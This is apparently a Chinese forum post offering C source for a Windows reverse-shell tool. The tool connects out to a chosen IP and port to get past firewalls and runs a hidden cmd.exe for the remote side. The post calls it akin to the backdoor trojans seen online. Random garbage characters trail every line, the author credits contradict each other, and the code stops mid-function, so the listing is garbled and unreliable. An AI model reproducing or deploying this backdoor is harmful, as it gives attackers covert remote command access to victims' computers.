这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 W+=o&V
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/* ============================== ]$b2a&r9
Rebound port in Windows NT *rh,"Zo
By wind,2006/7 s:>\/[*>0c
===============================*/ L.'}e{ldW
#include h2Bz F
#include
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#pragma comment(lib,"wsock32.lib") )>a B
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void OutputShell(); {XCf-{a]~
SOCKET sClient; 9KuD(EJS
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; quxdG>8
* ?Jz2[B
void main(int argc,char **argv) `3_lI~=eH
{ CH#k(sy
WSADATA stWsaData; f 2YLk
int nRet; b Bc- ^
SOCKADDR_IN stSaiClient,stSaiServer; ]9 w76Z
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if(argc != 3) z@ 35NZn
{ [<c&|tfl
printf("Useage:\n\rRebound DestIP DestPort\n"); ci9R.U)
return; L=;
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} ??&<k
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WSAStartup(MAKEWORD(2,2),&stWsaData); w3T ]H_V
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F>hZ{
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stSaiClient.sin_family = AF_INET; yYZxLJ='
stSaiClient.sin_port = htons(0); x.mrCJn)
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); cmwPuK$
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /8'S1!zc
{ 1fU,5+PH
printf("Bind Socket Failed!\n"); iEyeX0nm
return; Cfu=u *u
} qoMfSz"(
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stSaiServer.sin_family = AF_INET; ;3eKqr0
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); }f}}A=
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); KvFMs\o6p
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) T1WWK'
{ *iA4:EIP
printf("Connect Error!"); ]e?x# <S
return; -V.d?A4"
} !D^c3d
OutputShell(); `{v?6:G:Q
} BqK(DH^9N
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void OutputShell() i]{1^pKq
{ 3>M&D20Z
char szBuff[1024]; 5&Ts7& .
SECURITY_ATTRIBUTES stSecurityAttributes; zmuMWT;
OSVERSIONINFO stOsversionInfo; x Gk6n4Gg
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; o+B:#@9?
STARTUPINFO stStartupInfo; O*6n$dUj3
char *szShell; 1 T<+d5[C
PROCESS_INFORMATION stProcessInformation; I{'f|+1
unsigned long lBytesRead; `_ %S
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); PUJ2`iP1^3
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |KI UgI
stSecurityAttributes.lpSecurityDescriptor = 0; 4bVO9aUG{
stSecurityAttributes.bInheritHandle = TRUE; <6TT)t<h
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); T=f|,sK +7
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); C G\tQbum
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); K kW;-{c
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -7H^n#]
stStartupInfo.wShowWindow = SW_HIDE; EI>l-N2
stStartupInfo.hStdInput = hReadPipe; ?tdd3ai>
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; BimjQ;jtI
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GetVersionEx(&stOsversionInfo); zdl%iop3e
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switch(stOsversionInfo.dwPlatformId) 3\O|ii
{ .jw}JJ
case 1: {]*x*aa\
szShell = "command.com"; rHge~nY<
break; J@pb[O L,
default: ( lm&*tKm
szShell = "cmd.exe"; sb_oD{+gW
break; lT&wO